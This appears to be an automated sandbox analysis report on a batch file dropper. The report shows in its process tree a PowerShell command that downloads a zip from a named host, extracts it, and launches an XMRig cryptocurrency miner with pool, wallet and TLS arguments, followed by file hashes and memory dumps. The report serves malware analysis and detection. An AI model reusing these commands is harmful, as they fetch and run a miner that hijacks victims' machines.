Analysis

  • max time kernel
    1796s
  • max time network
    1795s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-11-2023 18:09

General

  • Target

    tesy.bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3348
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:560
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4160

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    7ab00d2b8ad3a0a8426f6a535086b700

    SHA1

    5b912f4345328372093354ff2ba6a932fef4a8ab

    SHA256

    cc27d1633ff5a4401c75569e6cd8f98e7ab09f01b8dfb0399f82efe197e0ca0c

    SHA512

    839e5fbdcc406cee2f37a156ccbb772a80a0231508a7925f95e162990b31ea8366442fcd6073c9035905b47a34d60a3434cc776babf9d49521663b8d3e400584

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2po3ixhm.rak.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/2924-0-0x00000187E9F30000-0x00000187E9F52000-memory.dmp

    Filesize

    136KB

  • memory/2924-10-0x00007FFD4F8C0000-0x00007FFD50381000-memory.dmp

    Filesize

    10.8MB

  • memory/2924-11-0x00000187E9D40000-0x00000187E9D50000-memory.dmp

    Filesize

    64KB

  • memory/2924-12-0x00000187E9D40000-0x00000187E9D50000-memory.dmp

    Filesize

    64KB

  • memory/2924-16-0x00007FFD4F8C0000-0x00007FFD50381000-memory.dmp

    Filesize

    10.8MB

  • memory/3348-27-0x00007FFD4F8C0000-0x00007FFD50381000-memory.dmp

    Filesize

    10.8MB

  • memory/3348-28-0x000001C956970000-0x000001C956980000-memory.dmp

    Filesize

    64KB

  • memory/3348-30-0x000001C971240000-0x000001C971252000-memory.dmp

    Filesize

    72KB

  • memory/3348-31-0x000001C9711B0000-0x000001C9711BA000-memory.dmp

    Filesize

    40KB

  • memory/3348-40-0x00007FFD4F8C0000-0x00007FFD50381000-memory.dmp

    Filesize

    10.8MB

  • memory/4160-70-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-79-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-46-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-47-0x000002DA10710000-0x000002DA10730000-memory.dmp

    Filesize

    128KB

  • memory/4160-48-0x000002DA106F0000-0x000002DA10710000-memory.dmp

    Filesize

    128KB

  • memory/4160-49-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-50-0x000002DA10710000-0x000002DA10730000-memory.dmp

    Filesize

    128KB

  • memory/4160-51-0x000002DA106F0000-0x000002DA10710000-memory.dmp

    Filesize

    128KB

  • memory/4160-52-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-53-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-54-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-55-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-56-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-57-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-58-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-59-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-60-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-61-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-62-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-63-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-64-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-65-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-66-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-67-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-68-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-69-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-44-0x000002DA0EEB0000-0x000002DA0EED0000-memory.dmp

    Filesize

    128KB

  • memory/4160-71-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-72-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-73-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-74-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-75-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-76-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-77-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-78-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-45-0x000002DA106B0000-0x000002DA106F0000-memory.dmp

    Filesize

    256KB

  • memory/4160-80-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-81-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-82-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-83-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-84-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-85-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-86-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-87-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-88-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-89-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-90-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-91-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-92-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-93-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-94-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-95-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-96-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-97-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-98-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-99-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-100-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-101-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-102-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-103-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-104-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-105-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-106-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-107-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-108-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-109-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-110-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-111-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB

  • memory/4160-112-0x00007FF6AD2E0000-0x00007FF6ADDE3000-memory.dmp

    Filesize

    11.0MB